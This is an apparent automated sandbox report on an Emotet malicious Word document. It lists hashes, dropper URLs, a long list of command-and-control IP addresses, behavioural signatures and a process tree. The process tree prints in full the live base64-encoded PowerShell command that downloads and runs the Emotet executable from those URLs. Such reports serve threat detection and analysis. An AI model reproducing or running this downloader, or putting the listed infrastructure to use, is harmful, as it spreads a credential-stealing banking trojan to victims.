emotet | f3b8ff61ea17946cef98f45d9cc0d8a2040fd8786b423f4263667aa81730e644

Analysis

max time kernel
135s
max time network
148s
platform
windows10_x64
resource
win10
submitted
17/09/2020, 15:56

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General

Target
emotet_e1_f3b8ff61ea17946cef98f45d9cc0d8a2040fd8786b423f4263667aa81730e644_2020-09-17__155432._doc.doc
Size 199KB
Sample200917-23e94g4bcs
SHA256 f3b8ff61ea17946cef98f45d9cc0d8a2040fd8786b423f4263667aa81730e644
MD5 f9aed4dbcbe0adb833764552690ae099
SHA1 f362e1526ae6d57a3e97cdb2ce2a830233107a27
SHA512 fc08dc2b9a2297cfcf0ed57c42513265f53fa9e733f306688c43ad5053766f02553c98238c98ca84d94fbdf58de3b529f412071742a81de0f7c3d2f5c4819c29
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://veccino56.com/gjpra/4ZR/
exe.dropper
http://girlgeekdinners.com/wp-content/Hpz/
exe.dropper
http://marblingmagpie.com/COPYRIGHT/Ak/
exe.dropper
http://aplicativoipok.net/wp-includes/ONW/
exe.dropper
http://ec2-52-56-233-157.eu-west-2.compute.amazonaws.com/wp-includes/35/
exe.dropper
https://shd7.life/mlktv/r6/
exe.dropper
https://www.hairlineunisexsalon.com/demo/UX/

Extracted

Family

emotet

174.113.69.136:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
190.115.18.139:8080
98.13.75.196:80
181.30.61.163:443
82.76.111.249:443
181.129.96.162:8080
74.58.215.226:80
68.69.155.181:80
188.135.15.49:80
190.163.31.26:80
50.121.220.50:80
51.159.23.217:443
2.47.112.152:80
185.215.227.107:443
217.13.106.14:8080
70.32.115.157:8080
170.81.48.2:80
73.213.208.163:80
5.196.35.138:7080
190.24.243.186:80
192.241.143.52:8080
185.183.16.47:80
184.66.18.83:80
187.162.248.237:80
220.109.145.69:80
51.255.165.160:8080
82.230.1.24:80
94.176.234.118:443
104.131.103.37:8080
50.28.51.143:8080
12.162.84.2:8080
74.136.144.133:80
77.90.136.129:8080
68.183.190.199:8080
96.245.123.149:80
177.74.228.34:80
213.197.182.158:8080
45.46.37.97:80
110.142.219.51:80
192.241.146.84:8080
189.2.177.210:443
177.73.0.98:443
61.197.92.216:80
185.178.10.77:80
212.71.237.140:8080
65.36.62.20:80
190.195.129.227:8090
217.199.160.224:7080
138.97.60.141:7080
155.186.0.121:80
204.225.249.100:7080
92.24.50.153:80
83.169.21.32:7080
190.6.193.152:8080
219.92.13.25:80
186.103.141.250:443
80.11.164.185:80
45.16.226.117:443
67.247.242.247:80
190.2.31.172:80
77.238.212.227:80
64.201.88.132:80
185.94.252.27:443
199.203.62.165:80
190.147.137.153:443
111.67.77.202:8080
172.104.169.32:8080
5.189.178.202:8080
190.190.148.27:8080
191.182.6.118:80
45.161.242.102:80
70.32.84.74:8080
45.33.77.42:8080
72.47.248.48:7080
114.158.45.53:80
209.236.123.42:8080
137.74.106.111:7080
54.37.42.48:8080
95.9.180.128:80
96.227.52.8:443
152.169.22.67:80
104.131.41.185:8080
77.106.157.34:8080
111.67.12.221:8080
61.92.159.208:8080
178.250.54.208:8080
68.183.170.114:8080
78.249.119.122:80
186.70.127.199:8090
216.47.196.104:80
185.94.252.12:80
87.106.46.107:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3044	1524	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/8-20-0x0000000000540000-0x0000000000552000-memory.dmp	emotet
behavioral2/memory/8-20-0x0000000000540000-0x0000000000552000-memory.dmp	emotet
behavioral2/memory/8-21-0x0000000000560000-0x0000000000570000-memory.dmp	emotet
behavioral2/memory/8-21-0x0000000000560000-0x0000000000570000-memory.dmp	emotet
behavioral2/memory/1916-24-0x00000000004C0000-0x00000000004D2000-memory.dmp	emotet
behavioral2/memory/1916-24-0x00000000004C0000-0x00000000004D2000-memory.dmp	emotet
behavioral2/memory/1916-25-0x00000000004E0000-0x00000000004F0000-memory.dmp	emotet
behavioral2/memory/1916-25-0x00000000004E0000-0x00000000004F0000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
13	3044	powershell.exe
15	3044	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
8	Ukfj0bw.exe
1916	Windows.ApplicationModel.LockScreen.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\appmgmts\Windows.ApplicationModel.LockScreen.exe	Ukfj0bw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3832	WINWORD.EXE
3832	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe
3044	powershell.exe
1916	Windows.ApplicationModel.LockScreen.exe
1916	Windows.ApplicationModel.LockScreen.exe
1916	Windows.ApplicationModel.LockScreen.exe
1916	Windows.ApplicationModel.LockScreen.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE
3832	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 8	3044	powershell.exe	79
PID 3044 wrote to memory of 8	3044	powershell.exe	79
PID 3044 wrote to memory of 8	3044	powershell.exe	79
PID 8 wrote to memory of 1916	8	Ukfj0bw.exe	82
PID 8 wrote to memory of 1916	8	Ukfj0bw.exe	82
PID 8 wrote to memory of 1916	8	Ukfj0bw.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_f3b8ff61ea17946cef98f45d9cc0d8a2040fd8786b423f4263667aa81730e644_2020-09-17__155432._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABUADgAeAB1AG4AdQAyAD0AKAAoACcARgAnACsAJwB2AGYAJwApACsAJwBsACcAKwAoACcAYgAnACsAJwB5ADcAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAcAByAG8AZgBJAGwAZQBcAEwAVwBmAHIAaAB4AFUAXABOAEwARgBrAFcANgAzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AHIAaQB0AGAAWQBQAGAAUgBPAGAAVABvAGAAQwBPAGwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAnACkAKwAnADEAMQAnACsAKAAnACwAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAUQBpAHMAbwA0ADkAOAAgAD0AIAAoACcAVQBrACcAKwAnAGYAJwArACgAJwBqADAAJwArACcAYgB3ACcAKQApADsAJABXAHAAcgBzADQANgAwAD0AKAAnAE0ANAAnACsAKAAnAHkAOABsACcAKwAnAG4AZAAnACkAKQA7ACQAUABwADgAXwA1ADAAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFMAJwArACcAbgAnACsAJwBIAEwAJwArACcAdwBmAHIAaAB4AHUAJwArACcAUwBuAEgAJwApACsAKAAnAE4AbABmACcAKwAnAGsAJwApACsAJwB3ACcAKwAnADYAJwArACgAJwAzACcAKwAnAFMAbgAnACkAKwAnAEgAJwApAC0AcgBFAHAATABBAEMARQAoACcAUwBuACcAKwAnAEgAJwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFEAaQBzAG8ANAA5ADgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABXADQAagB3AHMAaQBxAD0AKAAnAEwAJwArACcANQBzACcAKwAoACcAbQB6ACcAKwAnAHQAMgAnACkAKQA7ACQAVgBqAHoAaAAwAGsAdAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAYgBDAEwASQBFAE4AdAA7ACQASABtAGYANAB1AHQAYgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB2AGUAJwArACcAYwAnACkAKwAnAGMAJwArACgAJwBpAG4AbwA1ADYALgBjACcAKwAnAG8AbQAvAGcAJwArACcAagAnACsAJwBwACcAKQArACcAcgAnACsAJwBhAC8AJwArACgAJwA0AFoAUgAvACoAaAB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBnACcAKQArACgAJwBpAHIAbABnACcAKwAnAGUAJwApACsAKAAnAGUAawAnACsAJwBkACcAKQArACgAJwBpAG4AJwArACcAbgBlAHIAcwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHcAcAAtACcAKwAnAGMAbwBuAHQAJwArACcAZQBuAHQAJwApACsAJwAvACcAKwAnAEgAcAAnACsAJwB6ACcAKwAnAC8AJwArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACcAbQAnACsAJwBhACcAKwAnAHIAJwArACcAYgBsACcAKwAoACcAaQBuACcAKwAnAGcAJwApACsAKAAnAG0AJwArACcAYQBnAHAAaQAnACkAKwAoACcAZQAuAGMAJwArACcAbwAnACkAKwAoACcAbQAnACsAJwAvAEMAJwApACsAJwBPACcAKwAnAFAAJwArACcAWQAnACsAJwBSAEkAJwArACcARwBIACcAKwAnAFQAJwArACgAJwAvAEEAJwArACcAawAnACkAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvAGEAcABsAGkAYwAnACsAJwBhACcAKwAnAHQAaQAnACkAKwAnAHYAJwArACgAJwBvAGkAJwArACcAcABvACcAKQArACgAJwBrAC4AJwArACcAbgAnACkAKwAoACcAZQB0AC8AdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkAGUAJwArACgAJwBzAC8ATwBOAFcALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBlAGMAJwArACcAMgAtACcAKQArACcANQAnACsAJwAyACcAKwAnAC0ANQAnACsAKAAnADYAJwArACcALQAyADMAMwAtACcAKQArACgAJwAxADUAJwArACcANwAuAGUAdQAtACcAKwAnAHcAZQBzAHQALQAnACkAKwAoACcAMgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwBwAHUAJwApACsAJwB0AGUAJwArACcALgAnACsAKAAnAGEAbQBhAHoAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwBhAHcAJwArACcAcwAuAGMAbwBtAC8AdwAnACsAJwBwAC0AaQBuAGMAJwApACsAJwBsAHUAJwArACcAZAAnACsAKAAnAGUAJwArACcAcwAvADMANQAvACoAaAB0ACcAKwAnAHQAcABzADoALwAvACcAKwAnAHMAJwApACsAKAAnAGgAJwArACcAZAA3AC4AJwApACsAKAAnAGwAJwArACcAaQBmACcAKwAnAGUALwBtAGwAawAnACkAKwAnAHQAJwArACgAJwB2ACcAKwAnAC8AcgA2ACcAKQArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAcwA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3AC4AJwArACgAJwBoAGEAaQAnACsAJwByAGwAaQBuACcAKQArACcAZQAnACsAJwB1ACcAKwAoACcAbgAnACsAJwBpAHMAJwApACsAKAAnAGUAeABzACcAKwAnAGEAJwArACcAbABvAG4ALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwBkACcAKQArACcAZQAnACsAJwBtACcAKwAnAG8ALwAnACsAJwBVACcAKwAnAFgAJwArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAB6AHoAMABjAGkAdAA9ACgAKAAnAFAAJwArACcAbgA2AGoAJwApACsAKAAnAGEAMAAnACsAJwBiACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARwB6ADIAdgA2AGQAdAAgAGkAbgAgACQASABtAGYANAB1AHQAYgApAHsAdAByAHkAewAkAFYAagB6AGgAMABrAHQALgAiAGQATwBXAGAATgBMAG8AYQBgAGQAZgBpAGAAbABlACIAKAAkAEcAegAyAHYANgBkAHQALAAgACQAUABwADgAXwA1ADAAZgApADsAJABFAGoAbwBmADMAXwBxAD0AKAAnAFoAJwArACcAdwAnACsAKAAnAGMAJwArACcAXwBtAHgAZAAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAHAAOABfADUAMABmACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAzADkAMAA2ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUABwADgAXwA1ADAAZgApADsAJABaAHcAdwB5AGYANQB4AD0AKAAoACcAWAAnACsAJwBhAGYAJwApACsAJwBvAGgAJwArACcANQBzACcAKQA7AGIAcgBlAGEAawA7ACQAQwBmAHEAZQB3ADgAbAA9ACgAJwBCAF8AJwArACgAJwByACcAKwAnAGcAdAAnACkAKwAnAGEAMAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFgAaABiAG4AcAAyAGEAPQAoACgAJwBUACcAKwAnADcANgAwAGwAJwApACsAJwBpADMAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Users\Admin\Lwfrhxu\Nlfkw63\Ukfj0bw.exe
  "C:\Users\Admin\Lwfrhxu\Nlfkw63\Ukfj0bw.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\SysWOW64\appmgmts\Windows.ApplicationModel.LockScreen.exe
    "C:\Windows\SysWOW64\appmgmts\Windows.ApplicationModel.LockScreen.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/8-21-0x0000000000560000-0x0000000000570000-memory.dmp

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memory/8-20-0x0000000000540000-0x0000000000552000-memory.dmp

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memory/1916-25-0x00000000004E0000-0x00000000004F0000-memory.dmp

Download

memory/1916-24-0x00000000004C0000-0x00000000004D2000-memory.dmp

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memory/3044-15-0x000001BDBD840000-0x000001BDBD841000-memory.dmp

Download

memory/3044-16-0x000001BDBD8F0000-0x000001BDBD8F1000-memory.dmp

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memory/3044-14-0x00007FFCB69C0000-0x00007FFCB73AC000-memory.dmp

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memory/3832-8-0x000001861DC12000-0x000001861DC15000-memory.dmp

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memory/3832-13-0x0000018621410000-0x0000018621415000-memory.dmp

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memory/3832-12-0x0000018621410000-0x0000018621415000-memory.dmp

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memory/3832-11-0x0000018621410000-0x0000018621415000-memory.dmp

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memory/3832-10-0x0000018621407000-0x0000018621410000-memory.dmp

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memory/3832-9-0x0000018615B0C000-0x0000018615B11000-memory.dmp

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memory/3832-0-0x0000018614E00000-0x00000186154C6000-memory.dmp

Download

memory/3832-7-0x000001861DC12000-0x000001861DC15000-memory.dmp

Download

memory/3832-6-0x000001861DC12000-0x000001861DC15000-memory.dmp

Download

memory/3832-5-0x000001861DC0C000-0x000001861DC12000-memory.dmp

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memory/3832-1-0x000001861F680000-0x000001861F684000-memory.dmp

Download